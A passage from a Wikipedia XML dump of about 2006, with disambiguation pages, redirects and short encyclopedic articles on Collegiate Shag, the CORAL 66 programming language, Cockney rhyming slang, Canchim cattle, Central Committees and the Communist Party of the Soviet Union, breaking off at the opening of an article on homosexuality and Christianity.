        <id>838216</id>
      </contributor>
      <text xml:space="preserve">{{wiktionary}}

{{disambig}}

'''Creation''' is the following:
*Generally, '''creation''' is the act or result of bringing something into existence [[ex nihilo|from nothing at all]].
*In theology, '''[[Creation (theology)|Creation]]''' is God's act of bringing the universe into existence from nothing.
** [[Creationism]] is the belief that the natural universe, life, and humanity were created by a supreme being's supernatural intervention.
*Creation is a yearly Christian music festival which happens in the Eastern and Western parts of the United States. It's also known as [[Creation Festival|Creation Fest]].
*In genealogy and heraldry, '''creation''' is the [[investment]] of a [[peerage|peer]]. If a peerage no longer exists, and is created anew, the peers bearing the new [[dignity]] are said to be of the second (third, fourth) creation.
*In art or design, a '''creation''' is the actual thing the artist creates, from [[sculpture]], [[costume]], [[music]], or [[architecture]].
*In literature, '''''[[Creation (book)|Creation]]''''' is a book written in 1981 by [[Gore Vidal]].
*In classical music, [[The Creation]] is an [[oratorio]] by [[Joseph Haydn]]
*In the music business, '''[[Creation (record label)|Creation]]''' is record label created by [[Alan McGee]].
*'''[[The Creation (band)|Creation]]''' was a British band with one hit called ''Painter Man'' in [[1967]].
*'''''[[Creation magazine|Creation]]''''' is the name of a magazine promoting creationism that is published by [[Answers in Genesis]].
*'''''[[Creation (1931 film)|Creation]]''''' was a 1931 film that inspired ''[[King Kong (1933 film)|King Kong]]''
*In [[particle physics]], '''creation''' is the opposite of [[annihilation]].  It refers to the appearance of [[elementary particle]]s, in physical processes such as [[pair production]] or abstractly as in a [[creation operator]].
* '''Creation''' is the name of a number of [[nightclub]]s in the United Kingdom, including those in Leicester, Brighton and Cardiff.



[[it:Creazione]]</text>
    </revision>
  </page>
  <page>
    <title>Collegiate Shag</title>
    <id>7259</id>
    <revision>
      <id>15905336</id>
      <timestamp>2005-02-02T04:13:38Z</timestamp>
      <contributor>
        <ip>132.170.40.41</ip>
      </contributor>
      <text xml:space="preserve">The '''Collegiate Shag''' is a form of [[swing dancing]], similar to the [[Balboa (dance)|Balboa]] (another swing dance), but with different footwork (footwork: the dance term for steps). Danced with a [[Lead and follow]], it is danced to upper tempo music (usually 200+ beats per minute) and the couple dancing is positioned very closely for a body lead [[Connection (dance)|connection]].

Collegiate Shag began in New Orleans in the 1920's and it was performed by young (&quot;college age&quot;) dancers to ragtime jazz.  It pre-dates the [[Lindy Hop]] and [[Balboa (dance)|Balboa]].  As it spread, new breeds of the dance were created such as [[Carolina Shag]] and [[St. Louis Shag]].

The dance is still performed today by swing dance enthusiasts wordwide.

[[Category:Swing dances]]</text>
    </revision>
  </page>
  <page>
    <title>Characteristic</title>
    <id>7261</id>
    <revision>
      <id>29811180</id>
      <timestamp>2005-12-01T15:42:20Z</timestamp>
      <contributor>
        <username>Commander Keane bot</username>
        <id>502295</id>
      </contributor>
      <minor />
      <comment>Robot-assisted disambiguation ([[WP:DPL|you can help!]]): Character</comment>
      <text xml:space="preserve">'''Characteristic''' has several meanings:

;Mathematics
* [[characteristic (algebra)]]
* [[characteristic function]]
* [[characteristic subgroup]]
* [[Euler characteristic]]
* [[method of characteristics]]

;Or
* [[characteristic (genetics)]].

''Characteristic'' is also sometimes used as a piece of jargon in discussions of [[Universal--metaphysics|universals]] in [[metaphysics]], often in the phrase 'distinguishing characteristics'.

*An ''I-V'' or [[current-voltage characteristic]] is the current in a circuit as a function of the applied voltage

==See also==
* [[character]] (disambiguation)

{{disambig}}

[[io:Karakterizo]]</text>
    </revision>
  </page>
  <page>
    <title>CORAL66 programming language</title>
    <id>7262</id>
    <revision>
      <id>40330557</id>
      <timestamp>2006-02-19T21:36:00Z</timestamp>
      <contributor>
        <username>Marcika</username>
        <id>42989</id>
      </contributor>
      <minor />
      <comment>[[WP:AWB|AWB assisted]] typo fix: &quot;commerical&quot;</comment>
      <text xml:space="preserve">'''CORAL'''  ('''C'''omputing '''O'''nline '''R'''ealtime '''A'''lgorithmic '''L'''anguage) was developed in [[1966]] at the [[Royal Radar Establishment]] (RRE), [[Malvern, Worcestershire|Malvern]], [[United Kingdom|UK]] by I. F. Currie and M. Griffiths. 

CORAL 66 is a general purpose [[programming language]] based on [[Algol 60]], with some features from [[CORAL 64]], [[JOVIAL]], and [[Fortran|FORTRAN]].  Like [[Edinburgh IMP]] it allows embedded assembler, and also offered good run-time checking and diagnostics.  The language uses reserved keywords [[stropping|stropped]] by single quotes, such as 'BEGIN'.  While the syntax is slightly reminiscent of [[Pascal programming language|Pascal]], in some ways it is more like FORTRAN than Algol, in that recursive procedures are not supported.

Intended for [[real-time computing|real-time]] applications, the language was an inter-service standard for British military programming, and was also widely adopted for civil purposes in the British control and automation industry. It was used to write software for both the [[Ferranti]] and [[The General Electric Company|GEC]] computers from [[1971]] onwards.  Implementations also exist for the Interdata 8/32, [[PDP-11]], [[VAX]] and [[Alpha processor]]s; for the [[Honeywell]], and for the Computer Technology Limited (CTL) Modular-1; as well as for [[SPARC]] running [[Solaris Operating Environment|Solaris]] and [[Intel]] running [[Linux]].

Source code for a Coral66 compiler (written in [[BCPL]]) has been recovered and the &quot;Official Definition of Coral66&quot; document by HMSO has been scanned; the Ministry of Defence patent office has agreed to issue a licence to allow us to put both the code and the language reference online for non-commercial use.  This should become available in March 2006.

==External links==
* [http://history.dcs.ed.ac.uk/archive/os/deimos/ercm09/emas-2900/coral2.txt CORAL 66 test program] extracted from the [http://history.dcs.ed.ac.uk/archive/os/emas/users/ercm09/emas-2900/coral.txt Test Responder report]
* [http://web.archive.org/web/20041102162930/http://yfroom.8800.org/apps/1750/benchmarks/coral66/ CORAL 66 benchmarks]
* [http://www.swep-eds.com/CORAL/CORAL%20Page.htm EDS CORAL 66 compiler for Vax/VMS] (commercial working CORAL 66 system)
* [http://www.xgc.com/products/coral66.htm XGC Software's CORAL 66 compiler] (commercial system)
* [http://www.xgc.com/manuals/xgc-c66-rm/book1.html XGC CORAL 66 Language Reference Manual (HTML)] and [http://www.xgc.com/manuals/pdf/xgc-c66-rm.pdf in PDF format], heavily based on BS5905.
* [http://www.gtoal.com/languages/coral66/coral-library-manual-psp11.txt PDP-11 CORAL/ASM interfacing library]
* [http://standards.mackido.com/bs/bs-standards24_view_4284.html BS5905] CORAL 66 Standard
* [http://www.dstan.mod.uk/data/05/047/00000200.pdf DEF STAN 05-47]
* ECCE [http://history.dcs.ed.ac.uk/archive/os/emas/users/ercm09/emas-2900/coraltrans.txt editor script to translate CORAL 66] into [[Edinburgh IMP]]

[[Category:Historical programming languages]]</text>
    </revision>
  </page>
  <page>
    <title>Cardiovascular System</title>
    <id>7263</id>
    <revision>
      <id>42098189</id>
      <timestamp>2006-03-03T20:41:07Z</timestamp>
      <contributor>
        <username>TiffanyBio11</username>
        <id>1020115</id>
      </contributor>
      <comment>Starting</comment>
      <text xml:space="preserve">#REDIRECT [[Circulatory system]]

This page will be used for Bio 11 students at Drake University.</text>
    </revision>
  </page>
  <page>
    <title>Cockney rhyming slang</title>
    <id>7264</id>
    <revision>
      <id>41957235</id>
      <timestamp>2006-03-02T21:50:29Z</timestamp>
      <contributor>
        <username>Dhartung</username>
        <id>136748</id>
      </contributor>
      <comment>slight reorg</comment>
      <text xml:space="preserve">'''Cockney rhyming slang''' (sometimes abbreviated as '''''CRS''''') is a form of [[English language|English]] [[slang]] which originated in the [[East End of London]]. Many of its expressions have passed into common language, and the creation of new ones is no longer restricted to [[Cockney]]s. 

== Overview ==
Rhyming slang developed as a way of obscuring the meaning of sentences to those who did not understand the [[slang]], though it remains a matter of speculation whether this was a [[linguistics|linguistic]] accident, or whether it was developed intentionally to assist [[criminal]]s or to maintain a particular [[community]].

Rhyming slang works by replacing the word to be obscured with the first word of a phrase that rhymes with that word. For instance, &quot;face&quot; would be replaced by &quot;boat&quot;, because face rhymes with &quot;boat race&quot;.  Similarly &quot;feet&quot; becomes &quot;plates&quot; (&quot;plates of meat&quot;), and &quot;money&quot; is &quot;bread&quot; (a very common usage, from &quot;bread and honey&quot;).  Sometimes the full phrase is used, for example &quot;Currant Bun&quot; to mean ''[[The Sun (newspaper)|The Sun]]'', usually referring to the [[United Kingdom|British]] [[tabloid newspaper]] of that name.  There is no hard and fast rule for this, and you just have to know whether a particular expression is always shortened, never shortened, or can be used either way.

Some substitutions have become relatively widespread in [[United Kingdom|Britain]], for example to &quot;have a [[Wiktionary:butcher's|butcher's]]&quot; means to have a look, from the rhyming slang &quot;butcher's hook&quot;, and these are often now used without awareness of the original rhyming slang (so for example &quot;[[Wiktionary:berk|berk]]&quot; and &quot;[[Wiktionary:cobblers|cobblers]]&quot; are both less [[taboo]] than their [[etymology]] would suggest).  However, most other actual and purported substitutions are still not in common usage.

This style of rhyming has also spread through many English-speaking countries, where the original phrases are supplemented by rhymes created to fit local needs. Creation of rhyming slang has become a [[word game]] for people of many classes and regions.  The term Cockney rhyming slang is generally applied to these expansions to indicate the rhyming style, though arguably the term only applies to phrases used in the East End of London. Similar formations exist in other parts of the United Kingdom. In the East Midlands, 'Derby Road' is rhymed with 'cold', a conjunction that would not be possible in any other dialect of the UK.

All slang is rooted in the era of its origin and therefore some of it will to be lost as time passes.  In the [[1980s]], for example, &quot;[[Kerry Packer]]ed&quot; meant &quot;[[knackered]]&quot;; in [[2004]], the term &quot;Britneys&quot; was used to mean [[beer]]s (or in [[Ireland]] to mean [[homosexuality|queers]]) via the music artist &quot;[[Britney Spears]]&quot;, although the usage may not outlast her career and/or popularity.  

== Rhyming slang in popular culture ==
Musical artists such as [[Audio bullys|The Audiobullys]] and [[The Streets]] use CRS in almost all of their songs. It is also often used in [[feature film]]s, such as ''[[Lock, Stock and Two Smoking Barrels]]'' ([[1998]]) (which contains a glossary of Cockney rhyming slang on the United States [[DVD]] version to assist the viewer), and on [[television]] (e.g. ''[[Minder]]'', ''[[EastEnders]]'') to lend authenticity to an East End setting.  The theme song to ''[[The Italian Job]]'', composed by [[Quincy Jones]], contains many Cockney rhyming slang expressions.  The lyrics by [[Don Black (musician)|Don Black]] amused and fascinated the composer. The schoolkid characters in the film [[To Sir With Love]] regularly utilise CRS, which their new teacher (played by Sidney Poitier) finds impossible to understand.  

The box office success ''[[Ocean's Eleven (2001 film)|Ocean's Eleven]]'' ([[2001]]) contains an apparent example of Cockney rhyming slang, when the character Basher Tarr (played by [[Don Cheadle]]) uses the slang &quot;Barney&quot; to mean &quot;trouble,&quot; derived from [[Barney Rubble]]. In common usage, &quot;Barney&quot; does not mean trouble; it means an argument or a fight. Some argue that it is derived from &quot;Barn Owl&quot; which (in a Cockney accent) nearly rhymes with &quot;row&quot; (argument). However, the book ''Understanding British English'', by Margaret E. Moore, Citadel Press, [[1995]], does not list &quot;Barney&quot; in its &quot;Rhyming Slang&quot; section. Furthermore, an old book called ''Slang and Its Analogues'', by J.S. Farmer and W.E. Henley, originally printed in [[1890]] and reprinted by Arno Press in 1970, states that &quot;Barney&quot; (which can mean anything from a &quot;lark&quot; to a &quot;row&quot;) is of unknown origin, and was used in print as early as [[1865]].

== Other rhyming slang ==
[[Australian English]] shares some Cockney rhyming slang and also has many of its own terms. (See: [[Australian words#Rhyming slang|Australian rhyming slang]].) Some people have speculated that this is due to a strong formative influence of Cockneys on [[Australian culture]].

It has been noted by the Edinburgh author and journalist [[Irvine Welsh|Irvine Welsh]] that rhyming slang with Cockney origin is now more likely to be used and developed in Scotland than in the East End of London, giving rise to formations that rely on the Scottish accent for their effect (see 'Dennis Law' = 'snow' for example).

In [[United States]] some common slang seems to have had its origin in Cockney rhyming slang: &quot;raspberry,&quot; shortened from &quot;[[Raspberry and cream tart|raspberry tart]]&quot; means [[fart]]; &quot;[[Wiktionary:duke|dukes]]&quot; means fists; &quot;duke it out&quot; means settle an argument via [[bare-knuckle|fisticuffs]]; &quot;[[bread]]&quot; means [[money]]; &quot;creamed&quot; means beaten (interestingly, in the UK &quot;creamed&quot; can also mean &quot;exhausted&quot;, from the rhyme of &quot;cream cracker&quot; and &quot;knacker&quot;).

There is a set of specialist rhyming slang terms used by some members of the British disabled community to describe medical conditions.  This is sometimes termed &quot;disability rhyming slang&quot; and shares the same style, and some of the same phrases, as the more traditional rhyming slang.

==Examples==
&lt;!-- This is a FEW examples of Cockney Rhyming Slang.  Please don't add to it unless it's been discussed on the talk page (remember, WP:NOT#Wikipedia_is_not_a_dictionary) --&gt;
&lt;!-- See the talk page for the discussion on this decision --&gt;
&lt;!-- If you particularly wish to add some new rhyming slang to Wikipedia, please use Wiktionary which is more suited to this purpose --&gt;

*[[Apples]] = apples and pears = stairs — e.g. &quot;Get up them apples!&quot;
*Barnet = [[Barnet]] Fair = hair — e.g. &quot;What’s a matter with yer Barnet.&quot;
*Frog = frog and toad = road — e.g. &quot;I was crossing the frog…&quot;
*Rosie = [[Gypsy Rose Lee|Rosie Lee]] = tea — e.g. &quot;'ave a cup of rosie.&quot;
&lt;!-- Please read note above before adding to examples --&gt;

==See also==
*[[Wiktionary:Cockney rhyming slang]]

==External links==
*[http://www.aldertons.com/english-.htm Collection of Cockney slang]
*[http://www.cockneyrhymingslang.co.uk Online dictionary of rhyming slang]
*[http://www.shartwell.freeserve.co.uk/humor-site/rhymingslang.htm Collection of disability rhyming slang]
*[http://www.rockneyrhymingslang.com Rockney Rhyming Slang, rhyming slang related to rock music]


[[Category:British English]]
[[Category:London words]]
[[Category:Slang]]

[[es:Jerga rimada Cockney]]
[[nl:Cockney rhyming slang]]
[[pl:Cockney]]</text>
    </revision>
  </page>
  <page>
    <title>Canchim</title>
    <id>7265</id>
    <revision>
      <id>38334149</id>
      <timestamp>2006-02-05T17:54:56Z</timestamp>
      <contributor>
        <ip>216.23.21.186</ip>
      </contributor>
      <text xml:space="preserve">'''Canchim''' is a breed of [[cattle]]. Its origin is Central [[Brazil]] and it was developed by crossing the [[India]]n [[Zebu]] cattle (''Bos taurus indicus'') and the [[Europe]]an (''Bos taurus taurus'') [[Charolais cattle]] which were introduced to Brazil in the [[18th century]]. Compared to the very productive European cattle, Zebu cattle is better suited to the Brazilian climate.

==External links==
* [http://www.canchim.com.br/ingles.htm English version of Brazilian Canchim site]
* [http://www.embryoplus.com/cattle_canchim.html Extensive article at Embryoplus.com]

{{agri-stub}}
[[Category:Cattle breeds]]</text>
    </revision>
  </page>
  <page>
    <title>Christkindlmarkt</title>
    <id>7266</id>
    <revision>
      <id>15905343</id>
      <timestamp>2004-12-29T14:15:52Z</timestamp>
      <contributor>
        <ip>213.7.14.70</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Christmas Market]]</text>
    </revision>
  </page>
  <page>
    <title>Central Committee</title>
    <id>7269</id>
    <revision>
      <id>40750854</id>
      <timestamp>2006-02-22T19:58:41Z</timestamp>
      <contributor>
        <username>Jfruh</username>
        <id>21397</id>
      </contributor>
      <minor />
      <comment>missing &quot;and&quot;</comment>
      <text xml:space="preserve">&lt;!-- Unsourced image removed: [[Image:16thcentcom.png |frame|''16th Central Committee meeting of the [[Communist Party of China]]'']]  --&gt;

'''Central Committee''' most commonly refers to the central executive unit of a [[communist party]], whether ruling or non-ruling. In a communist party, the Central Committee is made up of delegates elected at a [[Party Congress]]. In ruling communist parties, the Central Committee makes decisions for the party between congresses, and usually is responsible for electing the [[Politburo]]. In non-ruling communist parties, the Central Committee is usually understood by the party membership to be the ultimate [[authority]] in decision-making once the process of [[democratic centralism]] has led to an agreed-upon position

Organizations besides communist ones also have Central Committees, such as the [[Mennonite Central Committee|Mennonite Church]] and [[Alcoholics Anonymous]], as well as the ''Central Committee for Conscientious Objectors'' (to [[war]]). In the United States the [[Democratic Party (United States)|Democratic]] and the [[Republican Party (United States)|Republican]] Parties both have Central Committees; these act as the leading body of those organizations at the national/administrative level, as well as local committees in a similar capacity within the local Democratic or Republican governments of individual [[county|counties]] and states.

==See also==
*[[Central Committee of the CPSU|Central Committee of the Communist Party of the Soviet Union]]
*[[Central Committee of the Communist Party of China]]

[[Category:Political parties]]

[[de:Zentralkomitee]]
[[eo:Centra Komitato]]
[[fr:Comité central]]
[[no:Sentralkomité]]
[[ro:Comitet Central]]
[[ru:Центральный комитет]]</text>
    </revision>
  </page>
  <page>
    <title>Central Committee of the Communist Party of the Soviet Union</title>
    <id>7270</id>
    <revision>
      <id>38447866</id>
      <timestamp>2006-02-06T10:45:10Z</timestamp>
      <contributor>
        <username>.:Ajvol:.</username>
        <id>102531</id>
      </contributor>
      <minor />
      <comment>+ru</comment>
      <text xml:space="preserve">The '''Central Committee''', abbreviated in Russian as '''ЦК''', &quot;Tseka&quot;,  was the highest body of the [[Communist Party of the Soviet Union]] (CPSU). Its full name was 
''Центра́льный Комите́т Коммунисти́ческой Па́ртии Сове́тского Сою́за = ЦК КПСС; Tsentralnyy Komitet Kommunistitcheskoy Partii Sovetskogo Soyuza = TSK KPSS'', or the Central Committee of the Communist Party of the Soviet Union.

According to Party rules, the Central Committee directed all Party and government activities between each [[Congress of the CPSU|Party Congress]] with the [[Politburo of the CPSU Central Committee|Politburo]] elected by and reporting to the Central Committee. Members of the committee were elected at the Party Congress every five years.

For most of its existence, the power of the Central Committee was limited by its infrequent meetings and large membership, and true power lay with the Politburo. The Committee functioned as a rubber-stamp to legitimise and give an aura of consensus to Politburo decisions. The Committee would meet only twice a year, with sessions lasting one or two days. Special plenary sessions would be held before a major event, such as a new long-term plan or the selection of a new General Secretary. The elections were façades too, with the membership being selected in advance by the leaders.

From [[1917]] to [[1934]], the Central Committee did act as a parliament. But its occasional opposition to [[Stalin]] led to a [[purge]] of the body between the 17th and 18th Party Congresses ([[1934]]-[[1939|39]]). Until Stalin's death, its role was therefore almost non-existent. After Stalin's death, there was a period of collective leadership, which revitalised the Committee before it was returned to its compliant role. However the Committee did play a critical role in the career of [[Nikita Khrushchev]].  In [[1957]], the Central Committee played a critical role when it overturned a decision by the Presidium (ie the Politburo) to remove Nikita Khrushchev as party leader. Khrushchev, with the assistance of [[Marshal of the Soviet Union|Marshal]]  [[Zhukov]], rallied the support of the Central Committee against what he called the [[Anti-Party Group]]. Seven years later, on [[October 14]], [[1964]] it was a meeting of the Central Committee that deposed Khrushchev. The Central Committee also made a landmark decision in March 1985 when it elected the reformist [[Mikhail Gorbachev]] as the next [[General Secretary of the Communist Party of the Soviet Union|General Secretary of CPSU]] with the margin of just one vote more than the hardliner [[Viktor Grishin]].

Following the failed coup of August [[1991]], the Central Committee was dissolved as was the Communist Party itself.


''See also [[Organization of the Communist Party of the USSR]]''

[[Category:Communist Party of the Soviet Union]]
[[ro:Comitetul Central al Partidului Comunist al Uniunii Sovietice]]
[[ru:ЦК КПСС]]</text>
    </revision>
  </page>
  <page>
    <title>Communist Party of the Soviet Union</title>
    <id>7271</id>
    <revision>
      <id>41371397</id>
      <timestamp>2006-02-26T22:26:34Z</timestamp>
      <contributor>
        <ip>210.15.254.41</ip>
      </contributor>
      <comment>/* Structure */</comment>
      <text xml:space="preserve">:''&quot;CPSU&quot; redirects here.  For other uses, please see [[CPSU (disambiguation)]].''
{{Communism}}
The '''Communist Party of the [[Soviet Union]]''' ([[Russian language|Russian]]: ''Коммунисти́ческая Па́ртия Сове́тского Сою́за'' = ''КПСС'') was the name used by the successors of the [[Bolshevik]] [[political faction|faction]] of the [[Russian Social-Democratic Labour Party]] from [[1952]] to [[1991]], but the wording '''Communist Party''' was present in the party's name since [[1918]] when the Bolsheviks became the ''All-Russian Communist Party (Bolsheviks)''. In 1925 the party became the ''All-Union Communist Party (Bolsheviks)'' (Всесоюзная коммунистическая партия (большевиков), '''ВКП(б)'''); both '''VKP(b)''' and '''AUCP(b)''' abbreviations are in use. Finally in 1952 it became simply the '''Communist Party of the Soviet Union''' or '''CPSU'''. This article follows the course of the party from 1918 until its dissolution in 1991. ''For information on the pre-1918 party see [[Bolshevik]]. ''

Once the ''Third International'' or [[Comintern]] was formed in 1919, the [[democratic centralism|democratic centralist]] [[Leninism|Marxist-Leninist]] structure of the CPSU was copied by the other Comintern members resulting in [[Communist Party|Communist parties]] being formed around the world.

For most of the history of Soviet Russia and the Soviet Union, the Communist Party was virtually indistinguishable from the government, as it was the only political party tolerated by the government and its security forces. Consequently, the history of the USSR and the CPSU are deeply intertwined and overlapping. Therefore, it is useful for those interested in the history of the CPSU to also consult the [[History of Russia]] series of articles.

==Structure==
===CPSU===

The governing body of the CPSU was the [[Congress of the CPSU|Party Congress]] which initially met annually but whose meetings became less frequent, particularly under [[Stalin]]. Party Congresses would elect a [[Central Committee]] which, in turn, would elect a [[Politburo of the CPSU Central Committee|Politburo]]. Under Stalin the most powerful position in the party became the [[General Secretary of the Communist Party of the Soviet Union|General Secretary]] who was elected by the Politburo. In 1952 the title of ''General Secretary'' became ''First Secretary'' and the ''Politburo'' became the ''Presidium'' before reverting to their former names under [[Brezhnev]] in 1966. 

In theory, supreme power in the party was invested in the Party Congress, however, in practice the power structure became reversed and, particularly after the death of Lenin, supreme power became the domain of the General Secretary.  

At lower levels, the organizational hierarchy was managed by Party Committees, or '''partkoms''' (партком). A partkom was headed by the elected '''partkom secretary''' (секретарь парткома). At enterprises, institutions, [[kolkhoz]]es, etc., they were called as such, i.e., &quot;partkoms&quot;. At higher levels the Committees were abbreviated accordingly: '''raikoms''' (райком) at [[raion]] level, '''obkoms''' (обком) at [[oblast]] levels (known earlier as '''gubkoms''' (губком) for [[guberniya]]s), '''gorkom''' (горком) it city level, etc.

The bottom level of the Party was the '''primary party organization''' (первичная партийная организация) or '''party cell''' (партийная ячейка). It was created within any organizational entity of any kind where there were at least three communists. The management of a cell was called '''party bureau''' (партийное бюро, партбюро). A partbureau was headed by the elected '''bureau secretary''' (секретарь партбюро).

At smaller party cells, secretaries were regular employees of the corresponding plant/hospital/school/etc. Sufficiently large party organizations were usually headed by an '''exempt secretary''' (освобожденный секретарь), who drew his salary from the Party money.


===Membership===
Membership in the party ultimately became a privilege with Communist Party members becoming an elite, or [[nomenklatura]], in Soviet society. Members of the nomenklatura would enjoy special privileges such as shopping at well-stocked stores, have preference in obtaining housing and access to [[dacha]]s and holiday resorts, being allowed to travel abroad, send their children to the best universities and obtain prestigious jobs for them. It became virtually impossible to join the Soviet ruling and managing elite without being a member of the Communist Party.

Membership had its risks, however, especially in the 1930s when the party was subjected to purges under [[Stalin]]. Membership in the party was not open. To become a party member one had to be approved by various committees and one's past was closely scrutinised. As generations grew up never having known anything but the USSR, party membership became something one generally achieved after passing a series of stages. Children would join the [[Pioneer Movement|Young Pioneers]] and then, at the age of 14, graduate to the [[Komsomol]] (Young Communist League) and ultimately, as an adult, if one had shown the proper adherence to [[party discipline]] or had the right connections one would become a member of the Communist Party itself!.

When the Bolsheviks became the ''All-Russian Communist Party'' it had a membership of approximately 200,000. In the late 1920s under Stalin, the party engaged in a heavy recruitment campaign (the &quot;Lenin Levy&quot;) of new members from both the working class and rural areas. This was both an attempt to &quot;proletarianize&quot; the party and an attempt by Stalin to strengthen his base by outnumbering the [[Old Bolsheviks]] and reducing their influence in the party.

By 1933, the party had approximately 3.5 million members and candidate members but as a result of the [[Great Purge]] party membership fell to 1.9 million by 1939.  In 1986, the CPSU had over 19 million members or approximately 10% of the USSR's adult population. Over 44% of party members were classified as industrial workers, 12% were collective farmers. The CPSU had party organizations in fourteen of the USSR's 15 republics. In the Russian federation itself there was no separate Communist Party as affairs were run directly by the CPSU.

== History ==
''Main article: [[History of the CPSU]]''

With some exceptions, the course of the CPSU (and the history of the whole Soviet Union) was largely determined by its leader. The history of the CPSU since the death of [[Lenin]] can thus be divided into the eras of [[Stalin]], [[Khrushchev]], [[Brezhnev]] and [[Gorbachev]]. 

&lt;!-- a summary is in order --&gt;

==End of Communist rule==
The growing likelihood of the dissolution of the USSR itself led conservative elements in the CPSU to launch the [[August Coup]] in [[1991]] which temporarily removed Gorbachev from power. On [[August 19]], 1991, a day before a ''Union Treaty'' was to be signed devolving power to the republics, a group calling itself the &quot;State Emergency Committee&quot; seized power in Moscow declaring that Gorbachev was ill and therefore relieved of his position as president. Soviet vice-president [[Gennadiy Yanayev]] was named acting president. The committee's eight members included [[KGB]] chairman [[Vladimir Kryuchkov]], Internal Affairs Minister [[Boris Pugo]], Defense Minister [[Dmitriy Yazov]], and Prime Minister [[Valentin Pavlov]]. The coup dissolved due to large public demonstrations and the efforts of [[Boris Yeltsin]] who became the real power in Russia as a result. Gorbachev returned to Moscow as president but resigned as General Secretary and vowed to purge the party of conservatives.  Yeltsin had the CPSU formally banned within Russia. The [[KGB]] was disbanded as were other CPSU-related agencies and organisations. Yeltsin's action was later declared unconstitutional but by this time the USSR had ceased to exist.

After the [[collapse of the Soviet Union]], Russian adherents to the CPSU tradition, particularly as it existed before Gorbachev, reorganised themselves as the [[Communist Party of the Russian Federation]]. Today there is widespread flora of parties in Russia, claiming to be the successors of CPSU. Several of them used the name CPSU. However, CPRF is generally seen (due to its massive size) as the inheritor of the CPSU in Russia.

In other republics, communists established the [[Armenian Communist Party]], [[Communist Party of Azerbaijan]], [[Party of Communists of Kyrgyzstan]], [[Communist Party of Ukraine]], [[Communist Party of Belarus]], [[Party of Communists of the Republic of Moldova]], [[Communist Party of Kazakhstan]] and the [[Communist Party of Tajikistan]].

In [[Turkmenistan]], the local party apparatus led by [[Saparmurat Niyazov]] was converted into the [[Democratic Party of Turkmenistan]].

In [[Uzbekistan]], [[Islam Karimov]] converted the CPSU branch into the [[Democratic People's Party (Uzbekistan)|Democratic People's Party]].

In [[Georgia (country)|Georgia]], the Socialist Labour Party was founded in [[1992]]. This party would later evolve into the [[Communist Party of Georgia]] (SKP). Another communist faction in Georgia, which is larger than SKP, is the [[United Communist Party of Georgia]] (SEKP).

In [[Estonia]], the CPSU branch was in the hands of reformers, who converted it into the [[Estonian Democratic Labour Party]] (EDTP). A minority regrouped into the [[Communist Party of Estonia (1990)|Communist Party of Estonia]].

In [[Lithuania]], the CPSU branch converted into the [[Democratic Labour Party of Lithuania]]. In [[Latvia]], communist organizations were officially banned. A major part of the party there had broken away in [[1990]] and formed the [[Latvian Social Democratic Party]]. The remnants of CPSU became the [[Union of Communists of Latvia]], which went underground. Later communists regrouped into the [[Socialist Party of Latvia]].

==Branches==
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; style=&quot;border-collapse:collapse;&quot;
|- bgcolor=&quot;#efefef&quot;
! Republic
! CPSU
!Communist Party of the Soviet Union
!Local Party
|-
|-
||[[Russian SFSR]]||КПСС||Коммунистическая Партия Советского Союза||Коммунистическая партия РСФСР (1990-1991)
|-
||[[Ukrainian SSR]]||КПРС||Комуністична Партія Радянського Союзу||
|-
||[[Belarusian SSR]]||КПСС||Камуністычная Партыя Савецкага Саюза||
|-
||[[Uzbek SSR]]||
|-
||[[Kazakh SSR]]||СОКП||
|-
||[[Georgian SSR]]||
|-
||[[Azerbaijan SSR]]||||Совет Иттифагы Коммунист Партијасы
|-
||[[Lithuanian SSR]]||TSKP||Tarybų Sąjungos komunistų partija ||
|-
||[[Moldavian SSR]]||ПКУС||Партидул Комунист ал Униуний Советиче
|-
||[[Latvian SSR]]||PSKP||Padomju Savienības Komunistiskā Partija||
|-
||[[Kyrgyz SSR]]||ССКП||Советтер Союзунун Коммунисттик партиясы||
|-
||[[Tajik SSR]]||||||
|-
||[[Armenian SSR]]||
|-
||[[Turkmen SSR]]||||||
|-
||[[Estonian SSR]]||NLKP||Nõukogude Liidu Kommunistlik Partei||[[Communist Party of Estonia (1990)|Eestimaa Kommunistlik Partei]] (EKP)
|}

==See also==

* [[Organization of the Communist Party of the USSR]]
* [[Communist Party]]
* [[List of socialists]]

== External links ==
* [http://www.archontology.org/nations/ussr/cpsu Executive Bodies of the Communist Party of the Soviet Union (1917-1991)]
* [http://www.xs4all.nl/~eurodos/docu/cpsu-texts/cpsu86-0.htm Program of the CPSU, 27th Party Congress (1986)]

[[Category:1918 establishments]]
[[Category:1991 disestablishments]]
[[Category:Communist Party of the Soviet Union]]

[[bg:Комунистическа партия на Съветския съюз]]
[[cs:Komunistická strana Sovětského svazu]]
[[de:Kommunistische Partei der Sowjetunion]]
[[es:Partido Comunista de la Unión Soviética]]
[[eo:KPSU]]
[[fr:Parti communiste de l'Union soviétique]]
[[it:Partito Comunista dell'Unione Sovietica]]
[[he:המפלגה הקומוניסטית של ברית המועצות]]
[[nl:Communistische Partij van de Sovjet-Unie]]
[[ja:ソビエト連邦共産党]]
[[nn:Sovjetunionens kommunistiske parti]]
[[pl:Komunistyczna Partia Związku Radzieckiego]]
[[pt:Partido Comunista da União Soviética]]
[[ro:Partidul Comunist al Uniunii Sovietice]]
[[ru:Коммунистическая партия Советского Союза]]
[[th:พรรคคอมมิวนิสต์แห่งสหภาพโซเวียต]]
[[zh:苏联共产党]]</text>
    </revision>
  </page>
  <page>
    <title>Homosexuality and Christianity</title>
    <id>7272</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>40754746</id>
      <timestamp>2006-02-22T20:29:10Z</timestamp>
      <contributor>
        <username>Chesaguy</username>
        <id>614351</id>
      </contributor>
      <comment>/* The Bible and homosexuality */ Revert vandalism.</comment>
      <text xml:space="preserve">{{RAH}}


The issue of '''Homosexuality and Christianity''' has become a matter of intense [[theology|theological]] debate among some [[Christians]], with ongoing argument over whether [[homosexuality]], and specifically homosexual [[sexual intercourse|sex]], is [[moral]] or a [[sin]].

Traditionally, Christian churches have regarded homosexual sex as sinful, based on their interpretation of certain passages in the [[Bible]]. This position is still affirmed by the largest [[List of Christian denominations|Christian denominations]], including the [[Roman Catholic Church]], the [[Eastern Orthodox Church]], and most [[Protestantism|Protestant]] denominations, especially among [[Evangelicalism|Evangelicals]] such as the [[Southern Baptist Convention]]. However, there has been a minority of interpreters who have advanced a different understanding of these passages and have argued that homosexuality can be seen as moral. This approach has been taken by a number of churches, notably the [[Metropolitan Community Church]].

